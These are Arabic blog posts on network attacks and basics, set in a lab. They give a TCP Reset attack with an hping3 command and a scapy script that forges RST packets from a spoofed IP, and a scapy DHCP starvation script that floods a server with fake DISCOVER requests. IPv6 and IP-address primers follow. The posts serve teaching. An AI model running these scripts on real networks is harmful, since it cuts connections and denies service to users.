MAC Flooding: جهاز السويتش يعتمد في عمله على جدول يربط من خلاله عناوين MAC للأجهزة مع أرقام المنافذ المتصلة بها ولكن الذاكرة الخاصة بالسويتش محدودة وإغراق هذا الجدول بعناوين MAC مزورة سيؤدي إلى محدودية عمل الجهاز وسيتحول لنمط العمل fail-open mode وسيعمل بشكل مشابه لجهاز hub وسيقوم بإرسال البيانات بشكل broadcast عبر كل المنافذ وهذا مناسب جداً للمهاجم الذي يرغب بإلتقاط البيانات عبر الشبكة

بشكل افتراضي فإن نمط promiscuous mode يكون غير فعال ضمن الأجهزة وعندها فإن كروت الشبكة ستقبل فقط حزم البيانات المخصصة لها وتتجاهل الباقي أما المهاجم فسيقوم بإعداد كرت الشبكة بجهازه للعمل بهذا النمط ليتمكن من الحصول على كامل حركة البيانات عبر الشبكة

TCP Reset Attack الهجوم بلغة البايثون

Tue, 30 Nov 2021 11:40:05 GMT

هجوم TCP Reset يقطع اتصالاً قائماً بين جهازين بإرسال حزمة TCP مزوّرة تحمل علم RST بأرقام تسلسل صحيحة، فيظن الطرفان أنها شرعية ويُنهيان الاتصال. يوضح المقال أساسيات بروتوكول TCP والمصافحة الثلاثية، ثم ينفّذ الهجوم عملياً عبر أداة hping3 وبسكربت بايثون باستخدام مكتبة scapy.

هذا الهجوم يتم من خلال خلق و إرسال حزمة بيانات واحدة مزورة spoofed TCP segment لخداع هدفين متصلين باستخدام TCP لقطع الاتصال القائم بينهما

كان لهذا الهجوم عواقب في العالم الحقيقي وتسبب بالخوف من اجراء تغييرات على البرتوكول TCP ويعتقد أن هذا الهجوم هو عنصر رئيسي في جدار الحماية الصيني العظيم الذي تستخدمه الحكومة الصينية لفرض رقابة على الانترنت داخل الصين بالرغم من أهمية هذا الهجوم ولكنه لا يتطلب فهم عميق للشبكات أو لآلية عمل البرتوكول TCP

في هذا المقال سنتعرف على اساسيات البرتوكول TCP وسنتعرف على آلية عمل الهجوم TCP Reset Attack وسنقوم بتنفيذ هذا الهجوم بطريقتين:

الأولى من خلال خلق حزمة بيانات باستخدام أداة hping3
الثانية من خلال كتابة كود بايثون لينفذ هذه المهمة

كيف يتم هجوم TCP Reset Attack

يقوم المهاجم بقطع الاتصال بين جهازي ضحية من خلال إرسال رسالة مزورة لاحدهما أو كلاهما ومحتوى هذه الرسالة هو طلب قطع الاتصال بشكل مباشر وهذه الرسالة هي TCP reset segment

في الحالات الطبيعية ترسل هذه الرسالة عندما يتلقى الجهاز حركة بيانات غير متوقعة ويريد من مرسلها التوقف عن عملية الارسال وهذا الهجوم يتم من خلال استغلال هذه الآلية لخداع الضحايا لإغلاق اتصال TCP بعد تلقي حزمة بيانات مزورة fake reset segment وإذا تم ضبط القيم الخاصة بهذه الحزمة بشكل صحيح من قبل المهاجم فإن الجهاز الضحية سيدرك أن هذه البيانات هي صحيحة وسيقوم بقطع الاتصال ومنعه من تبادل المزيد من المعلومات، يمكن للضحايا إنشاء اتصال TCP جديد كمحاولة لاستئناف الاتصال السابق ولكن يمكن للمهاجم أيضاً قطع هذه الاتصال مرة أخرى ولكون هذا الهجوم يتطلب من المهاجم إعداد وخلق الحزمة المزورة فهذا الهجوم يكون فعال فقط ضد عمليات الاتصال الطويلة لأن الاتصالات القصيرة ستكون قد انتهت في الوقت الذي يحاول فيه المهاجم خلق الحزمة المزورة

إرسال حزمة مزورة spoofed TCP segment هو أمر سهل جداً كون آلية عمل كل من البرتوكول TCP والبرتوكول IP لا يتم من خلالهم التحقق من هوية المستخدم (يوجد إضافة لبرتوكول IP تؤمن عملية المصادقة تسمى IPSec سنتعرف عليها في مقال قادم ولكنها غير مستخدمة على نطاق واسع) من المفترض أن يرفض مزود خدمة الانترنت نقل حزم البيانات التي تدعي أنها جاءت من عنوان IP منتحل ولكن هذا التحقق غير مطبق بشكل كامل

كل ما يمكن للمستقبل القيام به هو أخذ عنوان IP ورقم البورت للمصدر من داخل حزمة البيانات ومحاولة التحقق من هوية المرسل من خلال برتوكولات الطبقات الأعلى ولكون TCP reset هي جزء من البرتوكول TCP نفسه فلا يمكن التحقق من صحتها باستخدام هذه البرتوكولات

على الرغم من سهولة هذا الهجوم ولكن من الأفضل أن نقوم أولاً بفهم آلية عمل البرتوكول TCP

TCP Protocol

Transmission Control Protocol

البرتوكول المسؤول عن عملية الاتصال ويعمل في الطبقة الرابعة Transport Layer وعملية الاتصال تبدأ من خلال المصافحة الثلاثية Three-way Handshake ويتم التأكد من وصول البيانات المرسلة لذلك يتم استخدامه في التطبيقات التي تقوم بإرسال بيانات مهمة مثل: HTTP and FTP

TCP يعرف باسم برتوكول الاتصال الموجه Connection Oriented وهو يقوم بتأسيس الاتصال ومن ثم يتأكد من وصول حزم البيانات المرسلة إلى المستقبل.

عملية الاتصال تبدأ بإرسال SYN Packet والتي هي بداية لعملية المصافحة الثلاثية والتي تخبر المستقبل بأن المرسل يريد تأسيس اتصال TCP، المستقبل يرد بإرسال SYN-ACK كإعلام على أنه استلم طلب SYN وعندما تصل الإجابة SYN-ACK إلى المرسل يقوم بإرسال ACK كإعلام على أنه تلقى الإجابة وعندها تبدأ عملية الاتصال عبر برتوكول TCP

الشكل التالي يظهر عملية المصافحة الثلاثية:

TCP three-way handshake

التقاط المصافحة الثلاثية في Wireshark:

Source	Destination	Protocol	Length	Info
192.168.200.128	192.168.100.128	TCP	74	39944 → 80 [SYN] Seq=0 Win=29200
192.168.100.128	192.168.200.128	TCP	60	80 → 39944 [SYN, ACK] Seq=0 Ack=1
192.168.200.128	192.168.100.128	TCP	54	39944 → 80 [ACK] Seq=1 Ack=1

حزم TCP Packet ترقم بشكل تسلسلي ويجب أن تفهم آلية الترقيم لاستخدامها في مثل هذا النوع من الهجمات أو هجمات سرقة الجلسة Session Hijacking وهجمات رجل في المنتصف MITM – Man in the Middle

رسالة TCP تسمى Segment وتتألف من البيانات المرسلة والترويسة Header

الشكل التالي يظهر مكونات TCP Header:

Source Port and Destination Port:

لها طول 16 bits وتحوي على رقم المنفذ الذي تم إرسال البيانات عبره ورقم المنفذ الذي سيتم استقبال البيانات من خلاله.

Sequence Number (32 bits):

تحوي على الرقم التسلسلي لأول Byte من البيانات في Segment ويستخدم لتحديد المكان أو الترتيب الصحيح لحزم البيانات.

Acknowledgment Number (32 bits):

تحوي على الرقم التسلسلي الخاص بالمرسل (تم زيادته بمقدار واحد)

H.Len (4 bits):

حجم الترويسة

Rsvd:

محجوزة لاستخدام مستقبلي.

Control Bits (Control Flags):

تحوي على احدى الأعلام التالية:

SYN: للدلالة على المزامنة وله رقم تسلسلي ويستخدم لبدء عملية الاتصال.
ACK: للدلالة على استلام الطلب.
RST: قطع الاتصال بشكل فوري.
FIN: للإشارة لانتهاء البيانات المرسلة وبالتالي انهاء عملية الاتصال.
PSH: للإشارة إلى ضرورة إرسال البيانات الموجودة في الذاكرة المؤقتة.
URG: للإشارة إلى أن البيانات المرسلة هي بيانات مستعجلة والمؤشر Urgent Pointer يحوي على الرقم التسلسلي لهذه البيانات.

بيئة الاختبار

بيئة الاختبار مكونة من ثلاث أجهزة ضمن نفس الشبكة

جهاز المهاجم: يعمل بنظام التشغيل كالي لينكس
جهاز الضحية الأول: يعمل بنظام لينكس (metasploitable2) وله عنوان IP: 192.168.17.129
جهاز الضحية الثاني: يعمل بنظام Ubuntu وله العنوان IP: 192.168.17.135

سيناريو الهجوم

سنقوم بعملية اتصال telnet من خلال نظام Ubuntu IP:192.168.17.135 مع النظام metasploitable2 IP: 192.168.17.129 ومن ثم سنقوم بقطع هذا الاتصال من خلال ارسال حزمة بيانات مزورة Spoofed TCP Reset من قبل النظام كالي لينكس

cyberfu@ubuntu:~$ telnet 192.168.17.129
Trying 192.168.17.129...
Connected to 192.168.17.129.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:

بعد نجاح عملية الاتصال لنقم بفتح wireshark في جهاز الهجوم (الكالي) ونقم بفلترة حزم البيانات باستخدام خيار الفلترة التالي:

ip.dst == 192.168.17.129 && ip.src == 192.168.17.135

والذي سيقوم بعرض حركة البيانات من المصدر 192.168.17.135 إلى الوجهة 192.168.17.129 فقط

حركة البيانات بعد تطبيق الفلتر في Wireshark، ومنها نقرأ رقم التسلسل اللازم للهجوم (raw: 3979056369):

Source	Destination	Protocol	Info
192.168.17.135	192.168.17.129	TELNET	Telnet Data …
192.168.17.135	192.168.17.129	TCP	44914 → 23 [ACK] Seq=187 Ack=10194
192.168.17.135	192.168.17.129	TCP	44914 → 23 [RST] Seq=172 Win=65536

HPING3:

هذه الأداة تسمح لنا بإرسال حزم بيانات عبر الشبكة وتسمح لنا بخلق الحزم المرسلة وتخصيصيها بحسب الغاية المطلوبة، لنقم بخلق حزمة بيانات مزورة من خلال التعليمة التالية:

hping3 192.168.17.129 -a 192.168.17.135 -p 23 -s 44914 -R -M 3979056369 -c 1
HPING 192.168.17.129 (eth0 192.168.17.129): R set, 40 headers + 0 data bytes

--- 192.168.17.129 hping statistic ---
1 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

192.168.17.129: عنوان الجهاز الذي سيتم ارسال حزمة البيانات له
a 192.168.17.138: عنوان IP المنتحل spoofed IP – حزمة البيانات سيكون لها هذا العنوان كعنوان المصدر
p 23: رقم البورت في الوجهة
s 44914: رقم البورت في المصدر
R: لخلق Reset Flag
M 3979056369: رقم sequence number
c 1: لإرسال حزمة بيانات واحدة

هذه القيم تم الحصول عليها من خلال wireshark

الآن وبعد إرسال هذه الحزمة سيتم قطع اتصال telnet بين الأجهزة الهدف

msfadmin@metasploitable:~$ Connection closed by foreign host.
cyberfu@ubuntu:~$

الهجوم بلغة البايثون

لنقم بكتابة كود بايثون لتنفيذ هذا الهجوم

#!/usr/bin/python3
#TCP Reset Attack
#Import Scapy
import sys
from scapy.all import *

print("SENDING RESET PACKET.........")

#Spoofing IP
IPLayer = IP(src="192.168.17.135", dst="192.168.17.129")
#Create Spoofed TCP Reset Segment
TCPLayer = TCP(sport=44962, dport=23, flags="R", seq=3467116117)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt, verbose=0)
#Cyber Fu

في البداية لنقم باستيراد scapy إن لم تكن منصبة لديك مسبقاً يمكنك تنصيبها باستخدام التعليمة التالية على نظام كالي لينكس

apt-get install python3-scapy
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
python3-scapy is already the newest version (2.4.4-4).
0 upgraded, 0 newly installed, 0 to remove and 843 not upgraded.

ومن ثم قمنا بتحديد عناوين IP لكل من المصدر (عنوان منتحل) والوجهة وقمنا بتحديد رقم البورت في كل من المصدر والهدف وقمنا بتحديد رقم sequence number

(هذه القيم حصلنا عليها من خلال تحليل حركة البيانات ضمن wireshark)

الآن وعند تنفيذ هذا الكود سيتم خلق حزمة بيانات مزورة لها flag reset مع عناوين IP للمصدر والهدف هي عناوين الأجهزة الهدف وسيتم إرسال هذه الحزمة وسيتم قطع الاتصال بين الأجهزة الهدف

python3 tcpreset.py
SENDING RESET PACKET.........
version    : BitField  (4 bits)        = 4              (4)
ihl        : BitField  (4 bits)        = None           (None)
tos        : XByteField                = 0              (0)
len        : ShortField                = None           (None)
id         : ShortField                = 1              (1)
flags      : FlagsField (3 bits)       = <Flag 0 ()>    (<Flag 0 ()>)
frag       : BitField  (13 bits)       = 0              (0)
ttl        : ByteField                 = 64             (64)
proto      : ByteEnumField             = 6              (0)
chksum     : XShortField               = None           (None)
src        : SourceIPField             = '192.168.17.135' (None)
dst        : DestIPField               = '192.168.17.129' (None)
options    : PacketListField           = []             ([])
--
sport      : ShortEnumField            = 44962          (20)
dport      : ShortEnumField            = 23             (80)
seq        : IntField                  = 3467116117     (0)
ack        : IntField                  = 0              (0)

لا تقم باستهداف أي شبكة لا تملكها أو لا تملك صلاحية يٌسمح لك من خلالها القيام بذلك، لا تقم بأي عمل غير قانوني أو غير اخلاقي

هجوم DHCP Starvation بلغة البايثون

Sat, 27 Nov 2021 08:08:54 GMT

هجوم DHCP Starvation يُغرق سيرفر DHCP بطلبات DISCOVER وهمية بعناوين MAC عشوائية حتى يستنفد مجال عناوين IP، فيمنع الأجهزة الشرعية من الحصول على عنوان (حجب خدمة) وقد يمهّد لهجوم رجل في المنتصف عبر سيرفر DHCP بديل. يُنفَّذ بسكربت بايثون باستخدام scapy ويُراقب بأداة tcpdump.

هذا الهجوم يتم من خلال إغراق سيرفر DHCP بطلبات DISCOVER وهمية حتى يستنفذ إمكانية توفير عناوين IP وعندها لن يكون قادر على تأمين عناوين IP لأجهزة الشبكة الشرعية (منع الخدمة) وهذا النوع من الهجمات يستخدم من قبل المهاجم لربط الهدف مع سيرفر DHCP بديل يؤدي لهجوم رجل في المنتصف MITM Attack – Man-in-the-Middle

في البداية لنقم بالتعرف على DHCP

يمكننا تخصيص عناوين IP للأجهزة بشكل يدوي ولكن هذه الطريقة لا تعتبر مثالية لعدة أسباب، ففي حال وجود عدد كبير من الأجهزة فإن عملية تخصيص العناوين بشكل يدوي ستكون عملية صعبة وفي حال قام مدير الشبكة بتغير قناع الشبكة لتغير بنية الشبكة فسوف يتوجب عليه إعادة تعيين عناوين IP لكل الأجهزة ضمن الشبكة لذلك تم إيجاد آلية تؤمن العنونة بشكل أوتوماتيكي وهي:

DHCP – Dynamic Host Configuration Protocol

والتي تقوم بتخصيص العناوين لكل الأجهزة ضمن الشبكة بشكل أوتوماتيكي

كيف يعمل DHCP؟

المعيار RFC 2131 عرف آلية عمل هذا البرتوكول والذي يعتبر client-server Protocol وهو يؤمن آلية العنونة بشكل تلقائي حيث يتم اعداد سيرفر DHCP بمجال من العناوين يسمى pool وسيقوم بتخصيص عنوان لكل جهاز يتصل بالشبكة ويؤمن للجهاز الأمور التالية:

عنوان IP (IP address)
قناع الشبكة (Network mask)
البوابة الافتراضية (Default gateway)
عنوان سيرفر DNS (DNS Server)
اسم النطاق (Domain name)

البروتوكول DHCP يستخدم UDP لحركة البيانات عبر البورت 67 في السيرفر والبورت 68 للمستخدم وله عدد من الرسائل وهي:

DHCPDISCOVERY: تستخدم من قبل المستخدم لاكتشاف سيرفرات DHCP داخل الشبكة وتتم من خلال إرسال broadcast باستخدام العنوان 255.255.255.255 وعادةً ما يكون عنوان المصدر هو 0.0.0.0
DHCPOFFER: ترسل من قبل سيرفر DHCP إلى المستخدم وتتضمن عنوان IP مقترح يسمى YIADDR وقناع الشبكة وتحوي ايضاً على معرف السيرفر server ID الذي هو عنوان IP الخاص بالسيرفر ويسمى SIADDR، من الممكن أن يتواجد أكثر من سيرفر DHCP ضمن نفس الشبكة وفي هذه الحالة سيتم إرسال أكثر من رسالة DHCPOFFER كإجابة على DHCPDISCOVERY
DHCPREQUEST: ترسل من المستخدم ك broadcast وهذه الرسالة تستخدم لتأكيد العرض من السيرفر وتتضمن SIADDR الخاص بسيرفر DHCP الذي تم اختياره وهذه الرسالة ترسل بشكل broadcast وليس unicast لتأمين معلومات لسيرفر DHCP الذي لم يتم اختياره من قبل المستخدم
DHCP ACKNOWLEDGEMENT (DHCPACK): ترسل من قبل السيرفر إلى المستخدم لتأكيد عنوان IP المقترح ومعلومات أخرى
DHCP Not ACKNOWLEDGED (DHCPNACK): ترسل من قبل السيرفر إلى المستخدم في حالة تم استخدام عنوان IP بعد رسالة DHCPOFFER
DHCPDECLINE: ترسل من قبل المستخدم إلى السيرفر للإشارة أن العنوان المخصص تم استخدامه
DHCPRELEASE: ترسل من قبل المستخدم إلى السيرفر لتحرير عنوان IP المخصص عند انهاء الاتصال
DHCPINFORM: ترسل من قبل المستخدم إلى السيرفر وتستخدم لطلب إعدادات الشبكة الإضافية وبعد أن يحصل المستخدم على عنوان IP

عند أول اتصال للجهاز بالشبكة فهو لا يملك عنوان IP وسوف يقوم بارسال حزمة DHCPDISCOVERY لاكتشاف سيرفرات DHCP داخل الشبكة، من الممكن أن تحوي نفس الشبكة على أكثر من سيرفر DHCP
كل سيرفر سيرد برسالة DHCPOFFER
المستخدم يستقبل أكثر من عرض ويختار أحدها ويرد برسالة DHCPREQUEST
سيرفر DHCP الذي تم اختياره سيرد على المستخدم برسالة DHCPACK لتأكيد عملية تخصيص عنوان IP

هجوم DHCP Starvation

لنقم بتنفيذ هذا الهجوم بشكل يدوي من خلال كتابة سكريبت بلغة البايثون يقوم بخلق طلبات DHCP وهمية وارسالها بشكل متكرر مع عناوين MAC وهمية لإغراق سيرفر DHCP واستنفاذ كل عناوين IP المتاحة لديه

بيئة الاختبار: نظام كالي لينكس على جهاز المهاجم.

sudo apt install python3-scapy
#أو عبر pip
pip install scapy

لنقم بخلق طلبات DHCP Discover لها:

عنوان الوجهة broadcast
عنوان MAC عشوائي كعنوان للمصدر
عنوان IP للمصدر 0.0.0.0 (آلية عمل طلبات DHCP – الجهاز لا يملك عنوان IP ويرغب بالحصول على عنوان من سيرفر DHCP)
Source port = 68
Destination port = 67
نوع الرسالة DHCP discover

وبعد خلق هذا الطلب لنقم بتكرار إرساله عبر كرت الشبكة eth0

الآن لنقم بتنفيذ الكود الخاص بعملية الهجوم:

#مثال توضيحي: إنشاء طلبات DHCP Discover وهمية وإرسالها بشكل متكرر
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, sendp, RandMAC

def dhcp_discover():
    src_mac = str(RandMAC()) # عنوان MAC عشوائي لكل طلب
    pkt = (
        Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff")
        / IP(src="0.0.0.0", dst="255.255.255.255")
        / UDP(sport=68, dport=67)
        / BOOTP(chaddr=src_mac)
        / DHCP(options=[("message-type", "discover"), "end"])
    )
    return pkt

#تكرار الإرسال عبر كرت الشبكة eth0 لإغراق سيرفر DHCP
while True:
    sendp(dhcp_discover(), iface="eth0", verbose=0)

أثناء تنفيذ الهجوم لنقم بمراقبة حركة البيانات باستخدام التعليمة tcpdump

كما تلاحظ لقد قمنا بإغراق سيرفر DHCP بالطلبات باستخدام عناوين MAC وهمية وأي جهاز جديد يحاول الاتصال بنفس الشبكة لن يكون قادر على الحصول على عنوان IP من سيرفر DHCP

لا تقم باستهداف أي شبكة لا تملكها أو لا تملك صلاحية يُسمح لك من خلالها القيام بذلك، لا تقم بأي عمل غير قانوني أو غير أخلاقي

في مقال قادم سنتعرف على طرق الحماية ضد هذا الهجوم وهجمات الطبقة الثانية بشكل عام

نظام العنونة IPv6

Thu, 04 Nov 2021 08:14:00 GMT

IPv6 نظام عنونة بطول 128 بت أُوجد حلاً طويل الأمد لنفاد عناوين IPv4 ذات الـ 32 بت، ويُكتب بثماني مجموعات ست عشرية يمكن اختصار أصفارها باستخدام (::) مرة واحدة. يستخدم ترويسة ثابتة بحجم 40 بايت مع ترويسات إضافية، ويستبدل ARP ببروتوكول Neighbor Discovery، ولا يحتاج إلى NAT أو عناوين broadcast.

مع التطور والانتشار الكبير لشبكة الانترنت والشبكات المعتمدة بآلية الاتصال على TCP/IP فإن عدد عناوين IPv4 أصبح مستهلكاً بشكل شبه كامل، استخدام شبكات محلية مع عناوين IP خاصة وتقنية NAT ساعد بحل هذه المشكلة ولكنه ليس حلاً جذرياً، لذلك تم إيجاد IPv6 ليكون حلاً طويل الأمد لهذه المشكلة، وهو قادر على التعامل مع عدد كبير جداً من عناوين IP وبالتالي يدعم عدداً كبيراً جداً من الأجهزة المتصلة بالانترنت.

تعرفنا في مقال سابق عن عناوين IP بشكل عام.

كل الأمور الخاصة بالطبقة الثالثة كآلية توجيه البيانات وبروتوكولات التوجيه كلها تعمل بنفس الطريقة مع عناوين IPv6 مع إضافة بعض التعديلات بسبب اختلاف طول العناوين.

مقارنة بين IPv4 وIPv6

الجدول التالي هو مقارنة بين عناوين IPv4 وIPv6:

	IPv4	IPv6
العنوان	يستخدم 32 bit	يستخدم 128 bit
نوع العنوان	Unicast, multicast and broadcast	Unicast, anycast, and multicast والنوع broadcast يتم من خلال استخدام عنوان محدد
Subnetting and prefix	يمكن استخدام subnet والبادئة الخاصة بجزء الشبكة يشار لها بـ /nn بعد عنوان IP	يمكن استخدام subnet والبادئة الخاصة بجزء الشبكة يشار لها بـ /nnn بعد عنوان IP
تخصيص العناوين	Static and dynamic via DHCP	يدعم عدة طرق لتخصيص عنوان IP: Static، وStatic prefix with EUI-64 and other method، وStateless address auto-configuration (SLAAC)، وStateful DHCPv6
Private IP	يوجد عدد من المجالات الخاصة والتي لا يمكن استخدامها للوصول لشبكة الانترنت	يدعم العناوين الخاصة بشكل مشابه لـ IPv4 ولا يمكن استخدامها للوصول للانترنت
Interface IP address	عنوان واحد فقط	يمكن استخدام أكثر من عنوان
DNS	يستخدم السجل A	يستخدم السجل AAAA
IP header	له حجم متغير بين 20-60 bytes بحسب الخيارات المضافة	له حجم ثابت 40 bytes ولا يدعم خيارات ولكنه يستخدم ترويسات إضافية لحمل المعلومات لبروتوكولات الطبقة الثالثة
بروتوكولات التوجيه	يدعم: Distance vector, link-state, hybrid، وأكثر البروتوكولات استخداماً هي: RIPv2, OSPFv2, EIGRP, IS-IS for IGP and BGP-4 for EGP	يدعم: distance vector, link-state and hybrid ويتطلب إصدارات جديدة من بروتوكولات محددة مثل: RIPng, OSPFv3, EIGRP for IPv6, MP-BGP
بروتوكول الإدارة	ICMP	ICMPv6
تحديد العناوين	يستخدم ARP protocol	يستخدم Neighbor Discovery Protocol مع ICMPv6
NAT	يستخدم NAT مع عناوين IP الخاصة للسماح لها بالاتصال مع خارج الشبكة باستخدام عنوان IP عام	يحوي عدداً كبيراً جداً من العناوين وكل جهاز يخصص له عنوان خاص ولا يوجد حاجة لاستخدام NAT

مثال على الاتصال باستخدام IPv6

الشكل التالي هو مثال لعملية اتصال بين الجهاز A والجهاز B باستخدام IPv6، وبشكل مشابه للإصدار الرابع IPv4 سيتم تخصيص عنوان لكل جهاز في الطبقة الثالثة وكل router interface سيكون له عنوان IPv6 أيضاً.

الجهاز A سيقوم بإرسال حزمة بيانات IPv6 ليتم تغليفها ضمن Ethernet Frame إلى البوابة الافتراضية default gateway والتي هي الراوتر R1.

الراوتر R1 يقوم بعملية فك التغليف لحزمة البيانات وينظر إلى جدول التوجيه ليعرف مسار القفزة التالية ويجد أن مسار القفزة التالية هو الراوتر R2، ويقوم بتغليف حزمة البيانات على شكل Layer2 Frame ويقوم بإرسالها إلى الراوتر R2 والذي سوف يقوم بنفس العملية حتى يقوم بإيصال الحزمة إلى الجهاز B.

مثال توضيحي

في المثال السابق الاختلاف الواضح عن الإصدار السابق هو شكل عنوان IP، ولكن هناك اختلافات أخرى غير مرئية وهي: كيف يعرف IPv6 الوجهة الافتراضية default gateway؟ وهل يقوم باستخدام ARP لإيجاد عنوان MAC address لجهاز معروف عنوانه IP ضمن نفس الشبكة الفرعية subnet؟

العديد من البروتوكولات التي تعمل مع الإصدار الرابع IPv4 من الممكن أن تعمل مع الإصدار السادس IPv6 ولكن مع بعض التعديلات، ويوجد بعض البروتوكولات غير الضرورية في الإصدار السادس وبعض البروتوكولات الجديدة التي تم استخدامها، مثلاً ICMP وDHCP لا يتم استخدامهما بشكل مماثل للإصدار السابق لذلك تم إيجاد ICMPv6 وDHCPv6، وآلية عمل البروتوكول ARP تم استبدالها ببروتوكول يدعى IPv6 Neighbor Discovery، والبروتوكولات OSPF وEIGRP وبروتوكولات التوجيه الأخرى تم تعديلها للعمل مع الإصدار السادس وأصبحت OSPFv6 وEIGRPv6 وRIPng.

IPv6 Header

عناوين الإصدار السادس مصممة لتقدم نفس المهمة الخاصة بعناوين الإصدار الرابع مع تطوير في بعض الأمور الأخرى، المعيار RFC 2460 عرّف الترويسة الخاصة بـ IPv6 packet.

معظم الحقول لها نفس الغرض بالمقارنة مع IPv4، ولكن في IPv6 يوجد اختلاف أساسي وهو الإضافات بالترويسات مع طول الترويسة الثابت، IPv6 يسمح للترويسة بحمل معلومات لبروتوكولات الطبقة الثالثة، والترويسات الإضافية تتموضع بعد الترويسة الثابتة وقبل الحمولة payload.

الحقل Next header يستخدم لتحديد الترويسة التالية في حزمة البيانات، وفي حال عدم وجود ترويسات إضافية فسوف يشير هذا الحقل إلى ترويسة الطبقة الرابعة (مثل TCP header)، وفي حال وجود ترويسة إضافية فسوف يشير إلى نوع الترويسة الإضافية.

هذا الإصدار يسمح باستخدام أكثر من إضافة للترويسات بشكل متسلسل، وكل ترويسة إضافية تحوي حقل Next Header والذي يستخدم لتحديد الترويسة الإضافية التالية، وآخر ترويسة ستشير إلى ترويسة بروتوكول الطبقة الرابعة (مثل TCP).

الشكل التالي يظهر مثالاً على تسلسل الترويسات الإضافية، أول ترويسة لا تحوي أي إضافات وبالتالي ستشير إلى الحقل الخاص بترويسة TCP، أما في المثال الثالث فيوجد ترويستان إضافيتان: الأولى Routing extension header والثانية Fragmentation extension header والتي سيكون فيها حقل Next Header يشير إلى TCP header.

Addressing IPv6

أكثر اختلاف ملاحظ بين الإصدارين هو طول العنوان، الإصدار السادس IPv6 له طول 128 bits بينما الإصدار الرابع له طول 32 bits، والسبب هو أن الهدف من الإصدار السادس الحصول على عدد عناوين أكبر، بالإضافة إلى أن الإصدار الرابع يتم تمثيله بالنظام العشري أو الثنائي أما الإصدار السادس فيتم تمثيله بالنظام الست عشري، والعنوان يمثل بمجموعات 16 bits (أربعة أرقام ست عشرية) متبوعة بـ (:) كما في المثال التالي:

2340:1111:AAAA:0001:1234:5678:9ABC:1234

بعض الأمور المستخدمة لتقليل التعقيد الخاص بهذا النظام

الأصفار في بداية كل مجموعة يمكن حذفها.
في حال كانت المجموعة تحوي أربعة أصفار يمكن حذفها وكتابة (::)، وهذا الاختصار يمكن أن يحدث لمرة واحدة فقط في العنوان.

لنفرض أن لدينا العنوان التالي:

FE00:0000:0000:0001:0000:0000:0000:0056

يمكننا كتابة هذا العنوان على الشكل التالي:

FE00:0:0:1:0:0:0:56

كما يمكن اختصاره بشكل أكبر كالتالي:

FE00:0:0:1::56

وكما في الإصدار الرابع يمكننا الإشارة للبادئة الخاصة بالشبكة كما في المثال التالي:

2222:1111:0:1:A:B:C:D/64

حيث 64 تشير إلى القسم الخاص بتعريف الشبكة، وللحصول على عنوان هذه الشبكة تستبدل باقي الأحرف بعد أول 64 بت بأصفار.

يمكن كتابة العنوان السابق بشكل:

2222:1111:0:1:0:0:0:0
2222:1111:0:1::

أنواع العناوين في IPv6

Unicast: يستخدم لتعريف interface واحد محدد.
Anycast: يستخدم لتعريف مجموعة من interface (عدة عقد)، وعندما يستخدم هذا العنوان فإن حزمة البيانات يتم استلامها من قبل أقرب interface له هذا العنوان.
Multicast: يستخدم لتعريف مجموعة من interface، وعندما يستخدم هذا العنوان فإن حزم البيانات يتم تسليمها لكل interface له هذا العنوان.

وفي هذا النظام من العنونة لا يوجد عنوان broadcast كما في نظام العنونة IPv4، ولإرسال حزمة بيانات بشكل broadcast يتم استخدام multicast address، وفي كل نوع من هذه العناوين يوجد أنواع إضافية أخرى.

عناوين IPv6 الخاصة والمحجوزة

بشكل مشابه لنظام العنونة IPv4 يوجد بعض العناوين التي لا يجب استخدامها، والجدول التالي يظهر هذه العناوين:

العنوان	الاستخدام
`::1/128`	Loopback address
`::/128`	عنوان غير محدد
`64:ff9b::/96`	للترجمة بين IPv4 وIPv6
`::ffff:0:0/96`	IPv4 mapped address
`100::/64`	تجاهل كتلة العناوين هذه
`2001::/23`	مخصص لبروتوكول IETF
`2001::/32`	خاص لبروتوكول TEREDO
`2001:2::/48`	للمرجعية
`2001:db8::/32`	للتوثيق
`2001:10::/28`	خاص لـ ORCHID
`2002::/16`	تحويل من 6to4
`Fc00::/7`	Unique-local
`Fe80::/10`	Linked-scoped unicast

تخصيص عناوين IPv6

الإصدار السادس يدعم عدة طرق لتخصيص العناوين وهي:

Static
Static prefix with EUI-64
Stateless address auto configuration (SLAAC)
Stateful DHCPv6

ما هو عنوان IP

Tue, 19 Oct 2021 15:43:00 GMT

عنوان IP (Internet Protocol) رقم تعريفي يُعطى لكل جهاز على الشبكة ليميزه ويتيح له التواصل مع باقي الأجهزة. يستخدم IPv4 عناوين بطول 32 بت تكفي لنحو 4.3 مليار عنوان نفدت مع انتشار الإنترنت، فجاء IPv6 بعناوين 128 بت مكتوبة بالنظام الست عشري. تعرف عنوانك الخارجي بالبحث عن what's my IP، والداخلي على ويندوز بالأمر ipconfig.

ما هو عنوان IP (IP address)؟

عنوان IP هو اختصار ل Internet Protocol وهو عبارة عن رقم تَعريفي لكل جهاز موجود على الشبكة، حيث يُعطى كلّ جهاز على الشبكة عنواناً يميّزه عن باقي الأجهزة، للسماح له بالتواصل من خلاله مع باقي الأجهزة حيث تظهر معظم عناوين IP بصيغة IPv4 مثل (151.101.65.121) أو بصيغة IPv6 مثل (2001:0db8:85a3:0000:0000:8a2e:0370:7334).

الإصدار الرابع (IPv4): موجود في معظم أجهزة الحاسوب، ويستخدم هذا الإصدار 32 بت (أرقام ثنائية) لإنشاء عنوان فريد على شبكة الإنترنت، ويتم التعبير عنه من خلال أربعة أرقام تفصلها نقاط، ويمثل كل رقم من الأربعة رقماً عشرياً لثمانية أرقام ثنائية، مثل: (215.21.61.137) وله عدد من المجالات منها الخاص وهو قابل لإعادة الاستخدام ضمن أي شبكة محلية ومنها العام الذي لا يمكن استخدامه لأكثر من جهاز في نفس الوقت

